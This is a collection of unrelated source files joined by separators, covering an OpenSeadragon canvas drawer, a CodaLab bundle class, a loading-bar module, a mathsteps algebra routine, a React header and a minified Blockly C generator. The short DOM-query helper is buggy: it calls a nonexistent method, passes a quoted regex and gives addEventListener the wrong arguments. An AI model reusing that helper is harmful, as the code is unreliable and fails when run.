* The parent of {@link OpenSeadragon.Drawer#canvas}.
* @member {Element} container
* @memberof OpenSeadragon.Drawer#
*/
this.container = $.getElement( options.element );
/**
* A <canvas> element if the browser supports them, otherwise a <div> element.
* Child element of {@link OpenSeadragon.Drawer#container}.
* @member {Element} canvas
* @memberof OpenSeadragon.Drawer#
*/
this.canvas = $.makeNeutralElement( this.useCanvas ? "canvas" : "div" );
/**
* 2d drawing context for {@link OpenSeadragon.Drawer#canvas} if it's a <canvas> element, otherwise null.
* @member {Object} context
* @memberof OpenSeadragon.Drawer#
*/
this.context = this.useCanvas ? this.canvas.getContext( "2d" ) : null;
/**
* Sketch canvas used to temporarily draw tiles which cannot be drawn directly
* to the main canvas due to opacity. Lazily initialized.
*/
this.sketchCanvas = null;
this.sketchContext = null;
/**
* @member {Element} element
* @memberof OpenSeadragon.Drawer#
* @deprecated Alias for {@link OpenSeadragon.Drawer#container}.
*/
this.element = this.container;
// We force our container to ltr because our drawing math doesn't work in rtl.
// This issue only affects our canvas renderer, but we do it always for consistency.
// Note that this means overlays you want to be rtl need to be explicitly set to rtl.
this.container.dir = 'ltr';
// check canvas available width and height, set canvas width and height such that the canvas backing store is set to the proper pixel density
if (this.useCanvas) {
var viewportSize = this._calculateCanvasSize();
this.canvas.width = viewportSize.x;
this.canvas.height = viewportSize.y;
}
this.canvas.style.width = "100%";
this.canvas.style.height = "100%";
this.canvas.style.position = "absolute";
$.setElementOpacity( this.canvas, this.opacity, true );
// Allow pointer events to pass through the canvas element so implicit
// pointer capture works on touch devices
$.setElementPointerEventsNone( this.canvas );
$.setElementTouchActionNone( this.canvas );
// explicit left-align
this.container.style.textAlign = "left";
this.container.appendChild( this.canvas );
// Image smoothing for canvas rendering (only if canvas is used).
// Canvas default is "true", so this will only be changed if user specified "false".
this._imageSmoothingEnabled = true;
};
/** @lends OpenSeadragon.Drawer.prototype */
$.Drawer.prototype = {
// deprecated
addOverlay: function( element, location, placement, onDraw ) {
$.console.error("drawer.addOverlay is deprecated. Use viewer.addOverlay instead.");
this.viewer.addOverlay( element, location, placement, onDraw );
return this;
},
// deprecated
updateOverlay: function( element, location, placement ) {
$.console.error("drawer.updateOverlay is deprecated. Use viewer.updateOverlay instead.");
this.viewer.updateOverlay( element, location, placement );
return this;
},
// deprecated
removeOverlay: function( element ) {
$.console.error("drawer.removeOverlay is deprecated. Use viewer.removeOverlay instead.");
this.viewer.removeOverlay( element );
return this;
},
// deprecated
clearOverlays: function() {
$.console.error("drawer.clearOverlays is deprecated. Use viewer.clearOverlays instead.");
this.viewer.clearOverlays();
return this;
},
/**
* This function converts the given point from to the drawer coordinate by
* multiplying it with the pixel density.
* This function does not take rotation into account, thus assuming provided
* point is at 0 degree.
* @param {OpenSeadragon.Point} point - the pixel point to convert
*/
viewportCoordToDrawerCoord: function(point) {
var vpPoint = this.viewport.pixelFromPointNoRotate(point, true);
return new $.Point(
vpPoint.x * $.pixelDensityRatio,
vpPoint.y * $.pixelDensityRatio
);
},
/**
* This function will create multiple polygon paths on the drawing context by provided polygons,
* then clip the context to the paths.
* @param {OpenSeadragon.Point[][]} polygons - an array of polygons. A polygon is an array of OpenSeadragon.Point
* @param {Boolean} useSketch - Whether to use the sketch canvas or not.
*/
clipWithPolygons: function (polygons, useSketch) {
if (!this.useCanvas) {
return;
}
var context = this._getContext(useSketch);
context.beginPath();
polygons.forEach(function (polygon) {
polygon.forEach(function (coord, i) {
context[i === 0 ? 'moveTo' : 'lineTo'](coord.x, coord.y);
});
});
context.clip();
},
/**
* Set the opacity of the drawer.
* @param {Number} opacity
* @return {OpenSeadragon.Drawer} Chainable.
*/
setOpacity: function( opacity ) {
$.console.error("drawer.setOpacity is deprecated. Use tiledImage.setOpacity instead.");
var world = this.viewer.world;
for (var i = 0; i < world.getItemCount(); i++) {
world.getItemAt( i ).setOpacity( opacity );
}
return this;
},
/**
* Get the opacity of the drawer.
* @returns {Number}
*/
getOpacity: function() {
$.console.error("drawer.getOpacity is deprecated. Use tiledImage.getOpacity instead.");
var world = this.viewer.world;
var maxOpacity = 0;
for (var i = 0; i < world.getItemCount(); i++) {
var opacity = world.getItemAt( i ).getOpacity();
if ( opacity > maxOpacity ) {
maxOpacity = opacity;
}
}
return maxOpacity;
},
// deprecated
needsUpdate: function() {
$.console.error( "[Drawer.needsUpdate] this function is deprecated. Use World.needsDraw instead." );
return this.viewer.world.needsDraw();
},
// deprecated
numTilesLoaded: function() {
$.console.error( "[Drawer.numTilesLoaded] this function is deprecated. Use TileCache.numTilesLoaded instead." );
return this.viewer.tileCache.numTilesLoaded();
},
// deprecated
reset: function() {
$.console.error( "[Drawer.reset] this function is deprecated. Use World.resetItems instead." );
this.viewer.world.resetItems();
return this;
},
// deprecated
update: function() {
$.console.error( "[Drawer.update] this function is deprecated. Use Drawer.clear and World.draw instead." );
this.clear();
this.viewer.world.draw();
return this;
},
/**
* @return {Boolean} True if rotation is supported.
*/
canRotate: function() {
return this.useCanvas;
},
/**
* Destroy the drawer (unload current loaded tiles)
*/
destroy: function() {
//force unloading of current canvas (1x1 will be gc later, trick not necessarily needed)
this.canvas.width = 1;
this.canvas.height = 1;
this.sketchCanvas = null;
this.sketchContext = null;
},
/**
* Clears the Drawer so it's ready to draw another frame.
*/
clear: function() {
this.canvas.innerHTML = "";
if ( this.useCanvas ) {
var viewportSize = this._calculateCanvasSize();
if( this.canvas.width !== viewportSize.x ||
this.canvas.height !== viewportSize.y ) {
this.canvas.width = viewportSize.x;
this.canvas.height = viewportSize.y;
this._updateImageSmoothingEnabled(this.context);
if ( this.sketchCanvas !== null ) {
var sketchCanvasSize = this._calculateSketchCanvasSize();
this.sketchCanvas.width = sketchCanvasSize.x;
this.sketchCanvas.height = sketchCanvasSize.y;
this._updateImageSmoothingEnabled(this.sketchContext);
}
}
this._clear();
}
},
_clear: function (useSketch, bounds) {
if (!this.useCanvas) {
return;
}
var context = this._getContext(useSketch);
if (bounds) {
context.clearRect(bounds.x, bounds.y, bounds.width, bounds.height);
} else {
var canvas = context.canvas;
context.clearRect(0, 0, canvas.width, canvas.height);
}
},
/**
* Scale from OpenSeadragon viewer rectangle to drawer rectangle
* (ignoring rotation)
* @param {OpenSeadragon.Rect} rectangle - The rectangle in viewport coordinate system.
* @return {OpenSeadragon.Rect} Rectangle in drawer coordinate system.
*/
viewportToDrawerRectangle: function(rectangle) {
var topLeft = this.viewport.pixelFromPointNoRotate(rectangle.getTopLeft(), true);
var size = this.viewport.deltaPixelsFromPointsNoRotate(rectangle.getSize(), true);
return new $.Rect(
topLeft.x * $.pixelDensityRatio,
topLeft.y * $.pixelDensityRatio,
size.x * $.pixelDensityRatio,
size.y * $.pixelDensityRatio
);
},
/**
* Draws the given tile.
* @param {OpenSeadragon.Tile} tile - The tile to draw.
* @param {Function} drawingHandler - Method for firing the drawing event if using canvas.
* drawingHandler({context, tile, rendered})
* @param {Boolean} useSketch - Whether to use the sketch canvas or not.
* where <code>rendered</code> is the context with the pre-drawn image.
* @param {Float} [scale=1] - Apply a scale to tile position and size. Defaults to 1.
* @param {OpenSeadragon.Point} [translate] A translation vector to offset tile position
* @param {Boolean} [shouldRoundPositionAndSize] - Tells whether to round
* position and size of tiles supporting alpha channel in non-transparency
* context.
*/
drawTile: function(tile, drawingHandler, useSketch, scale, translate, shouldRoundPositionAndSize) {
$.console.assert(tile, '[Drawer.drawTile] tile is required');
$.console.assert(drawingHandler, '[Drawer.drawTile] drawingHandler is required');
if (this.useCanvas) {
var context = this._getContext(useSketch);
scale = scale || 1;
tile.drawCanvas(context, drawingHandler, scale, translate, shouldRoundPositionAndSize);
} else {
tile.drawHTML( this.canvas );
}
},
_getContext: function( useSketch ) {
var context = this.context;
if ( useSketch ) {
if (this.sketchCanvas === null) {
this.sketchCanvas = document.createElement( "canvas" );
var sketchCanvasSize = this._calculateSketchCanvasSize();
this.sketchCanvas.width = sketchCanvasSize.x;
this.sketchCanvas.height = sketchCanvasSize.y;
this.sketchContext = this.sketchCanvas.getContext( "2d" );
// If the viewport is not currently rotated, the sketchCanvas
// will have the same size as the main canvas. However, if
// the viewport get rotated later on, we will need to resize it.
if (this.viewport.getRotation() === 0) {
var self = this;
this.viewer.addHandler('rotate', function resizeSketchCanvas() {
if (self.viewport.getRotation() === 0) {
return;
}
self.viewer.removeHandler('rotate', resizeSketchCanvas);
var sketchCanvasSize = self._calculateSketchCanvasSize();
self.sketchCanvas.width = sketchCanvasSize.x;
self.sketchCanvas.height = sketchCanvasSize.y;
});
}
this._updateImageSmoothingEnabled(this.sketchContext);
}
context = this.sketchContext;
}
return context;
},
// private
saveContext: function( useSketch ) {
if (!this.useCanvas) {
return;
}
this._getContext( useSketch ).save();
},
// private
restoreContext: function( useSketch ) {
if (!this.useCanvas) {
return;
}
this._getContext( useSketch ).restore();
},
// private
setClip: function(rect, useSketch) {
if (!this.useCanvas) {
return;
}
var context = this._getContext( useSketch );
context.beginPath();
context.rect(rect.x, rect.y, rect.width, rect.height);
context.clip();
},
// private
drawRectangle: function(rect, fillStyle, useSketch) {
if (!this.useCanvas) {
return;
}
var context = this._getContext( useSketch );
context.save();
context.fillStyle = fillStyle;
context.fillRect(rect.x, rect.y, rect.width, rect.height);
context.restore();
},
/**
* Blends the sketch canvas in the main canvas.
* @param {Object} options The options
* @param {Float} options.opacity The opacity of the blending.
* @param {Float} [options.scale=1] The scale at which tiles were drawn on
* the sketch. Default is 1.
* Use scale to draw at a lower scale and then enlarge onto the main canvas.
* @param {OpenSeadragon.Point} [options.translate] A translation vector
* that was used to draw the tiles
* @param {String} [options.compositeOperation] - How the image is
* composited onto other images; see compositeOperation in
* {@link OpenSeadragon.Options} for possible values.
* @param {OpenSeadragon.Rect} [options.bounds] The part of the sketch
* canvas to blend in the main canvas. If specified, options.scale and
* options.translate get ignored.
*/
blendSketch: function(opacity, scale, translate, compositeOperation) {
var options = opacity;
if (!$.isPlainObject(options)) {
options = {
opacity: opacity,
scale: scale,
translate: translate,
compositeOperation: compositeOperation
};
}
if (!this.useCanvas || !this.sketchCanvas) {
return;
}
opacity = options.opacity;
compositeOperation = options.compositeOperation;
var bounds = options.bounds;
this.context.save();
this.context.globalAlpha = opacity;
if (compositeOperation) {
this.context.globalCompositeOperation = compositeOperation;
}
if (bounds) {
// Internet Explorer, Microsoft Edge, and Safari have problems
// when you call context.drawImage with negative x or y
// or x + width or y + height greater than the canvas width or height respectively.
if (bounds.x < 0) {
bounds.width += bounds.x;
bounds.x = 0;
}
if (bounds.x + bounds.width > this.canvas.width) {
bounds.width = this.canvas.width - bounds.x;
}
if (bounds.y < 0) {
bounds.height += bounds.y;
bounds.y = 0;
}
if (bounds.y + bounds.height > this.canvas.height) {
bounds.height = this.canvas.height - bounds.y;
}
this.context.drawImage(
this.sketchCanvas,
bounds.x,
bounds.y,
bounds.width,
bounds.height,
bounds.x,
bounds.y,
bounds.width,
bounds.height
);
} else {
scale = options.scale || 1;
translate = options.translate;
var position = translate instanceof $.Point ?
translate : new $.Point(0, 0);
var widthExt = 0;
var heightExt = 0;
if (translate) {
var widthDiff = this.sketchCanvas.width - this.canvas.width;
var heightDiff = this.sketchCanvas.height - this.canvas.height;
widthExt = Math.round(widthDiff / 2);
heightExt = Math.round(heightDiff / 2);
}
this.context.drawImage(
this.sketchCanvas,
position.x - widthExt * scale,
position.y - heightExt * scale,
(this.canvas.width + 2 * widthExt) * scale,
(this.canvas.height + 2 * heightExt) * scale,
-widthExt,
-heightExt,
this.canvas.width + 2 * widthExt,
this.canvas.height + 2 * heightExt
);
}
this.context.restore();
},
// private
drawDebugInfo: function(tile, count, i, tiledImage) {
if ( !this.useCanvas ) {
return;
}
var colorIndex = this.viewer.world.getIndexOfItem(tiledImage) % this.debugGridColor.length;
var context = this.context;
context.save();
context.lineWidth = 2 * $.pixelDensityRatio;
context.font = 'small-caps bold ' + (13 * $.pixelDensityRatio) + 'px arial';
context.strokeStyle = this.debugGridColor[colorIndex];
context.fillStyle = this.debugGridColor[colorIndex];
if (this.viewport.getRotation(true) % 360 !== 0 ) {
this._offsetForRotation({degrees: this.viewport.getRotation(true)});
}
if (tiledImage.getRotation(true) % 360 !== 0) {
this._offsetForRotation({
degrees: tiledImage.getRotation(true),
point: tiledImage.viewport.pixelFromPointNoRotate(
tiledImage._getRotationPoint(true), true)
});
}
if (tiledImage.viewport.getRotation(true) % 360 === 0 &&
tiledImage.getRotation(true) % 360 === 0) {
if(tiledImage._drawer.viewer.viewport.getFlip()) {
tiledImage._drawer._flip();
}
}
context.strokeRect(
tile.position.x * $.pixelDensityRatio,
tile.position.y * $.pixelDensityRatio,
tile.size.x * $.pixelDensityRatio,
tile.size.y * $.pixelDensityRatio
);
var tileCenterX = (tile.position.x + (tile.size.x / 2)) * $.pixelDensityRatio;
var tileCenterY = (tile.position.y + (tile.size.y / 2)) * $.pixelDensityRatio;
// Rotate the text the right way around.
context.translate( tileCenterX, tileCenterY );
context.rotate( Math.PI / 180 * -this.viewport.getRotation(true) );
context.translate( -tileCenterX, -tileCenterY );
if( tile.x === 0 && tile.y === 0 ){
context.fillText(
"Zoom: " + this.viewport.getZoom(),
tile.position.x * $.pixelDensityRatio,
(tile.position.y - 30) * $.pixelDensityRatio
);
context.fillText(
"Pan: " + this.viewport.getBounds().toString(),
tile.position.x * $.pixelDensityRatio,
(tile.position.y - 20) * $.pixelDensityRatio
);
}
context.fillText(
"Level: " + tile.level,
(tile.position.x + 10) * $.pixelDensityRatio,
(tile.position.y + 20) * $.pixelDensityRatio
);
context.fillText(
"Column: " + tile.x,
(tile.position.x + 10) * $.pixelDensityRatio,
(tile.position.y + 30) * $.pixelDensityRatio
);
context.fillText(
"Row: " + tile.y,
(tile.position.x + 10) * $.pixelDensityRatio,
(tile.position.y + 40) * $.pixelDensityRatio
);
context.fillText(
"Order: " + i + " of " + count,
(tile.position.x + 10) * $.pixelDensityRatio,
(tile.position.y + 50) * $.pixelDensityRatio
);
context.fillText(
"Size: " + tile.size.toString(),
(tile.position.x + 10) * $.pixelDensityRatio,
(tile.position.y + 60) * $.pixelDensityRatio
);
context.fillText(
"Position: " + tile.position.toString(),
(tile.position.x + 10) * $.pixelDensityRatio,
(tile.position.y + 70) * $.pixelDensityRatio
);
if (this.viewport.getRotation(true) % 360 !== 0 ) {
this._restoreRotationChanges();
}
if (tiledImage.getRotation(true) % 360 !== 0) {
this._restoreRotationChanges();
}
if (tiledImage.viewport.getRotation(true) % 360 === 0 &&
tiledImage.getRotation(true) % 360 === 0) {
if(tiledImage._drawer.viewer.viewport.getFlip()) {
tiledImage._drawer._flip();
}
}
context.restore();
},
// private
debugRect: function(rect) {
if ( this.useCanvas ) {
var context = this.context;
context.save();
context.lineWidth = 2 * $.pixelDensityRatio;
context.strokeStyle = this.debugGridColor[0];
context.fillStyle = this.debugGridColor[0];
context.strokeRect(
rect.x * $.pixelDensityRatio,
rect.y * $.pixelDensityRatio,
rect.width * $.pixelDensityRatio,
rect.height * $.pixelDensityRatio
);
context.restore();
}
},
/**
* Turns image smoothing on or off for this viewer. Note: Ignored in some (especially older) browsers that do not support this property.
*
* @function
* @param {Boolean} [imageSmoothingEnabled] - Whether or not the image is
* drawn smoothly on the canvas; see imageSmoothingEnabled in
* {@link OpenSeadragon.Options} for more explanation.
*/
setImageSmoothingEnabled: function(imageSmoothingEnabled){
if ( this.useCanvas ) {
this._imageSmoothingEnabled = imageSmoothingEnabled;
this._updateImageSmoothingEnabled(this.context);
this.viewer.forceRedraw();
}
},
// private
_updateImageSmoothingEnabled: function(context){
context.msImageSmoothingEnabled = this._imageSmoothingEnabled;
context.imageSmoothingEnabled = this._imageSmoothingEnabled;
},
/**
* Get the canvas size
* @param {Boolean} sketch If set to true return the size of the sketch canvas
* @returns {OpenSeadragon.Point} The size of the canvas
*/
getCanvasSize: function(sketch) {
var canvas = this._getContext(sketch).canvas;
return new $.Point(canvas.width, canvas.height);
},
getCanvasCenter: function() {
return new $.Point(this.canvas.width / 2, this.canvas.height / 2);
},
// private
_offsetForRotation: function(options) {
var point = options.point ?
options.point.times($.pixelDensityRatio) :
this.getCanvasCenter();
var context = this._getContext(options.useSketch);
context.save();
context.translate(point.x, point.y);
if(this.viewer.viewport.flipped){
context.rotate(Math.PI / 180 * -options.degrees);
context.scale(-1, 1);
} else{
context.rotate(Math.PI / 180 * options.degrees);
}
context.translate(-point.x, -point.y);
},
// private
_flip: function(options) {
options = options || {};
var point = options.point ?
options.point.times($.pixelDensityRatio) :
this.getCanvasCenter();
var context = this._getContext(options.useSketch);
context.translate(point.x, 0);
context.scale(-1, 1);
context.translate(-point.x, 0);
},
// private
_restoreRotationChanges: function(useSketch) {
var context = this._getContext(useSketch);
context.restore();
},
// private
_calculateCanvasSize: function() {
var pixelDensityRatio = $.pixelDensityRatio;
var viewportSize = this.viewport.getContainerSize();
return {
// canvas width and height are integers
x: Math.round(viewportSize.x * pixelDensityRatio),
y: Math.round(viewportSize.y * pixelDensityRatio)
};
},
// private
_calculateSketchCanvasSize: function() {
var canvasSize = this._calculateCanvasSize();
if (this.viewport.getRotation() === 0) {
return canvasSize;
}
// If the viewport is rotated, we need a larger sketch canvas in order
// to support edge smoothing.
var sketchCanvasSize = Math.ceil(Math.sqrt(
canvasSize.x * canvasSize.x +
canvasSize.y * canvasSize.y));
return {
x: sketchCanvasSize,
y: sketchCanvasSize
};
}
};
}( OpenSeadragon ));
|
'''
UploadedBundle is a abstract Bundle supertype that represents a bundle that is
directly uploaded to the bundle store. Uploaded bundles are constructed with
just a bundle store data hash and a metadata dict, and never need to be run.
'''
from codalab.bundles.named_bundle import NamedBundle
from codalab.objects.metadata_spec import MetadataSpec
from codalab.worker.bundle_state import State
class UploadedBundle(NamedBundle):
METADATA_SPECS = list(NamedBundle.METADATA_SPECS)
# Don't format specs
# fmt: off
METADATA_SPECS.append(
MetadataSpec('license', str, 'The license under which this program/dataset is released.')
)
METADATA_SPECS.append(
MetadataSpec('source_url', str, 'URL corresponding to the original source of this bundle.')
)
# fmt: on
@classmethod
def construct(cls, metadata, owner_id, uuid=None):
row = {
'bundle_type': cls.BUNDLE_TYPE,
'command': None,
'data_hash': None,
'state': State.READY,
'metadata': metadata,
'dependencies': [],
'owner_id': owner_id,
}
if uuid:
row['uuid'] = uuid
return super(UploadedBundle, cls).construct(row)
def run(self, bundle_store, parent_dict):
assert False, '%ss should never be run!' % (self.__class__.__name__,)
|
// DOM 查询, 对 document.querySelector 的简单封装,添加了 id 查询,
// getElementById 和 getElementsByClassName 查询性能更好
// jsPerf: https://jsperf.com/getelementbyid-vs-queryselector/25
exports.query = function (container, elStr) {
var d , el
if(container && container.COMMENT_NODE)
d = container
else
d = document
if (elStr[0] === '#')
el = d.getElementsById(elStr.replace(/^#/, ''))
else if (elStr[0] === '.')
el = d.getElementsByClassName(elStr.replace('/^\./', ''))[0]
else
el = d.querySelector(elStr)
return el
}
// DOM 查询,对 document.querySelectorAll 的简单封装
exports.querys = function(container, elStr) {
var d
if(container && container.COMMENT_NODE)
d = container
else
d = document
return d.querySelector(elStr)
}
// 简单封装 addEventListener
exports.on = function(el, event, cb) {
el.addEventListener(el, event, cb)
}
// 简单封装 removeEventListener
exports.off = function(el, event, cb) {
el.removeEventListener(event, cb)
}
|
# Copyright S.CARLIOZ - 2018
# MIT licence. Use, share, improve, cheers !
"""
Module for the background of the loading bar:
- ILoadingBackground is an interface class which represents the background
of the loading bar;
- StandardLoadingBackground inherits from ILoadingBackground and has
the default properties.
"""
# Python2 compatibility
from __future__ import unicode_literals
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
from builtins import super
from future import standard_library
standard_library.install_aliases()
# Standard imports
from loadingbar.indicator import ILoadingBarIndicator
class ILoadingBackground(ILoadingBarIndicator):
"""
Interface class for the background of the loading bar.
"""
def display(self, size):
"""
Return string with the background.
"""
if size == 0:
self.done()
return "{0}{1}\033[0m".format(self.color, self.symbol) * (self.display_size - size)
def done(self):
return "\033[0m"
class StandardLoadingBackground(ILoadingBackground):
"""
Default class for the loading bar background.
"""
def __init__(self, display_size):
super().__init__(display_size, '\u2588', '\033[1;30m')
|
const checks = require('../../checks');
const evaluateConstantSum = require('./evaluateConstantSum');
const ChangeTypes = require('../../ChangeTypes');
const Node = require('../../node');
// If possible, adds together a list of nodes . Returns a Node.Status object.
function addLikeTerms(node, polynomialOnly=false) {
if (!Node.Type.isOperator(node)) {
return Node.Status.noChange(node);
}
let status;
if (!polynomialOnly) {
status = evaluateConstantSum(node);
if (status.hasChanged()) {
return status;
}
}
status = addLikePolynomialTerms(node);
if (status.hasChanged()) {
return status;
}
status = addLikeNthRootTerms(node);
if (status.hasChanged()) {
return status;
}
return Node.Status.noChange(node);
}
// If possible, adds together a list of polynomial term nodes.
function addLikePolynomialTerms(node) {
if (!checks.canAddLikeTerms.canAddLikeTermPolynomialNodes(node)) {
return Node.Status.noChange(node);
}
return addLikeTermNodes(
node, Node.PolynomialTerm, ChangeTypes.ADD_POLYNOMIAL_TERMS);
}
// If possible, adds together a list of nth root term nodes.
function addLikeNthRootTerms(node) {
if (!checks.canAddLikeTerms.canAddLikeTermNthRootNodes(node)) {
return Node.Status.noChange(node);
}
return addLikeTermNodes(
node, Node.NthRootTerm, ChangeTypes.ADD_NTH_ROOTS);
}
// Helper function for adding together a list of nodes
// belonging to a subclass of Term
function addLikeTermNodes(node, termSubclass, changeType) {
const substeps = [];
let newNode = node.cloneDeep();
// STEP 1: If any nodes have no coefficient, make it have coefficient 1
// (this step only happens under certain conditions and later steps might
// happen even if step 1 does not)
let status = addPositiveOneCoefficient(newNode, termSubclass);
if (status.hasChanged()) {
substeps.push(status);
newNode = Node.Status.resetChangeGroups(status.newNode);
}
// STEP 2: If any nodes have a unary minus, make it have coefficient -1
// (this step only happens under certain conditions and later steps might
// happen even if step 2 does not)
status = addNegativeOneCoefficient(newNode, termSubclass);
if (status.hasChanged()) {
substeps.push(status);
newNode = Node.Status.resetChangeGroups(status.newNode);
}
// STEP 3: group the coefficients in a sum
status = groupCoefficientsForAdding(newNode, termSubclass);
substeps.push(status);
newNode = Node.Status.resetChangeGroups(status.newNode);
// STEP 4: evaluate the sum (could include fractions)
status = evaluateCoefficientSum(newNode, termSubclass);
substeps.push(status);
newNode = Node.Status.resetChangeGroups(status.newNode);
return Node.Status.nodeChanged(
changeType, node, newNode, true, substeps);
}
// Given a sum of like terms, changes any term with no coefficient
// into a term with an explicit coefficient of 1. This is for pedagogy, and
// makes the adding coefficients step clearer.
// e.g. 2x + x -> 2x + 1x
// Returns a Node.Status object.
function addPositiveOneCoefficient(node, termSubclass) {
const newNode = node.cloneDeep();
let change = false;
let changeGroup = 1;
newNode.args.forEach((child, i) => {
const term = new termSubclass(child);
if (term.getCoeffValue() === 1) {
newNode.args[i] = Node.Creator.term(
term.getBaseNode(),
term.getExponentNode(),
Node.Creator.constant(1),
true /* explicit coefficient */);
newNode.args[i].changeGroup = changeGroup;
node.args[i].changeGroup = changeGroup; // note that this is the "oldNode"
change = true;
changeGroup++;
}
});
if (change) {
return Node.Status.nodeChanged(
ChangeTypes.ADD_COEFFICIENT_OF_ONE, node, newNode, false);
}
else {
return Node.Status.noChange(node);
}
}
// Given a sum of like terms, changes any term with a unary minus
// coefficient into a term with an explicit coefficient of -1. This is for
// pedagogy, and makes the adding coefficients step clearer.
// e.g. 2x - x -> 2x - 1x
// Returns a Node.Status object.
function addNegativeOneCoefficient(node, termSubclass) {
const newNode = node.cloneDeep();
let change = false;
let changeGroup = 1;
newNode.args.forEach((child, i) => {
const term = new termSubclass(child);
if (term.getCoeffValue() === -1) {
newNode.args[i] = Node.Creator.term(
term.getBaseNode(),
term.getExponentNode(),
term.getCoeffNode(),
true /* explicit -1 coefficient */);
node.args[i].changeGroup = changeGroup; // note that this is the "oldNode"
newNode.args[i].changeGroup = changeGroup;
change = true;
changeGroup++;
}
});
if (change) {
return Node.Status.nodeChanged(
ChangeTypes.UNARY_MINUS_TO_NEGATIVE_ONE, node, newNode, false);
}
else {
return Node.Status.noChange(node);
}
}
// Given a sum of like terms, groups the coefficients
// e.g. 2x^2 + 3x^2 + 5x^2 -> (2+3+5)x^2
// Returns a Node.Status object.
function groupCoefficientsForAdding(node, termSubclass) {
let newNode = node.cloneDeep();
const termList = newNode.args.map(n => new termSubclass(n));
const coefficientList = termList.map(term => term.getCoeffNode(true));
const sumOfCoefficents = Node.Creator.parenthesis(
Node.Creator.operator('+', coefficientList));
// TODO: changegroups should also be on the before node, on all the
// coefficients, but changegroups with term gets messy so let's tackle
// that later.
sumOfCoefficents.changeGroup = 1;
// terms that can be added together must share the same base
// name and exponent. Get that base and exponent from the first term
const firstTerm = termList[0];
const exponentNode = firstTerm.getExponentNode();
const baseNode = firstTerm.getBaseNode();
newNode = Node.Creator.term(
baseNode, exponentNode, sumOfCoefficents);
return Node.Status.nodeChanged(
ChangeTypes.GROUP_COEFFICIENTS, node, newNode, false);
}
// Given a node of the form (2 + 4 + 5)x -- ie the coefficients have been
// grouped for adding -- add the coefficients together to make a new coeffient
// that is a constant or constant fraction.
function evaluateCoefficientSum(node) {
// the node is now always a * node with the left child the coefficent sum
// e.g. (2 + 4 + 5) and the right node the symbol part e.g. x or y^2
// so we want to evaluate args[0]
const coefficientSum = node.cloneDeep().args[0];
const childStatus = evaluateConstantSum(coefficientSum);
return Node.Status.childChanged(node, childStatus, 0);
}
module.exports = addLikeTerms;
|
export default class Interval {
constructor (delay, type) {
this.delay = delay
this.id = null
this.startTime = null
this.type = type
}
code () {
console.log('Interval code')
}
set () {
this.id = setInterval(this.code.bind(this), this.delay)
this.startTime = new Date().getTime()
console.log(`${this.type} interval setted`)
}
clear () {
if (this.id !== null) {
clearInterval(this.id)
this.id = null
console.log(`${this.type} interval cleared`)
} else {
console.log(`${this.type} interval is not setted`)
}
}
}
|
for (var i of foo) {
switch (i) {
case 1:
break;
}
}
|
import { requestedCluster, retrievedCluster } from "../features/clusterlist/slice";
import { doRetryOnTokenExpiration } from "../authSlice";
import { apiUrl } from "../const";
export default (clusterId): AppThunk => async (dispatch, getState) => {
dispatch(requestedCluster({ clusterId }));
const result = await doRetryOnTokenExpiration({
method: "get", url: `${apiUrl}/cluster/${clusterId}`,
}, dispatch, getState);
dispatch(retrievedCluster({ cluster: result.data }));
};
|
import React, { useEffect, useRef } from "react";
import { Link } from "gatsby";
// STYLED-COMPONENT
import { HeaderNav, Logo, Menu } from "../styles/headerStyles";
import { Container, Flex } from "../styles/globalStyles";
// CUSTOM-HOOK
import useElementPosition from "../hooks/useElementPosition";
// Context
import {
useGlobalStateContext,
useGlobalDispatchContext,
} from "../context/globalContext";
import { toggle_theme, change_Menu } from "../actions/action";
const Header = ({ onCursor, setHamburgerPosition }) => {
const { currentTheme, toggleMenu } = useGlobalStateContext();
const dispatch = useGlobalDispatchContext();
const hamburger = useRef(null);
const position = useElementPosition(hamburger);
useEffect(() => {
window.localStorage.setItem("theme", currentTheme);
}, [currentTheme]);
const toggleTheme = () => dispatch(toggle_theme(currentTheme));
const menuHover = () => {
onCursor("locked");
setHamburgerPosition({
x: position.x,
y: position.y + 72,
});
};
return (
<HeaderNav
initial={{ y: -72, opacity: 0 }}
animate={{ y: 0, opacity: 1 }}
transition={{ duration: 1, ease: [0.6, 0.05, -0.01, 0.9] }}
>
<Container>
<Flex spaceBetween noHeight>
<Logo onMouseOver={() => onCursor("hovered")} onMouseOut={onCursor}>
<Link to="/">FURR</Link>
<span
onMouseMove={() => onCursor("pointer")}
onMouseOut={onCursor}
onClick={toggleTheme}
></span>
<Link to="/">W</Link>
</Logo>
<Menu
ref={hamburger}
onClick={() => dispatch(change_Menu(toggleMenu))}
onMouseEnter={menuHover}
onMouseLeave={onCursor}
>
<button>
<span></span>
<span></span>
</button>
</Menu>
</Flex>
</Container>
</HeaderNav>
);
};
export default Header;
|
// Do not edit this file; automatically generated by build.py.
'use strict';
// Copyright 2014 Google Inc. Apache License 2.0
Blockly.C=new Blockly.Generator("C");Blockly.C.type="wink";Blockly.C.addReservedWords("auto","else","long","switch","break","enum","register","typedef","case","extern","return","union","char","float","short","unsigned","const","for","signed","void","continue","goto","sizeof","volatile","default","if","static","while","do","int","struct","_Packed","double");Blockly.C.ORDER_ATOMIC=0;Blockly.C.ORDER_UNARY_POSTFIX=1;Blockly.C.ORDER_FUNCTION_CALL=1;Blockly.C.ORDER_FUNCTIONAL_CAST=1;
Blockly.C.ORDER_SUBSCRIPT=1;Blockly.C.ORDER_MEMBER_ACCESS=1;Blockly.C.ORDER_UNARY_PREFIX=2;Blockly.C.ORDER_NOT=2;Blockly.C.ORDER_C_STYLE_CAST=2;Blockly.C.ORDER_INDIRECTION=2;Blockly.C.ORDER_ADDRESS_OF=2;Blockly.C.ORDER_SIZEOF=2;Blockly.C.ORDER_NEW=2;Blockly.C.ORDER_DELETE=2;Blockly.C.ORDER_POINTER_TO_MEMBER=3;Blockly.C.ORDER_MULTIPLICATIVE=4;Blockly.C.ORDER_ADDITIVE=5;Blockly.C.ORDER_SHIFT=6;Blockly.C.ORDER_RELATIONAL=7;Blockly.C.ORDER_EQUALITY=8;Blockly.C.ORDER_BITWISE_AND=9;
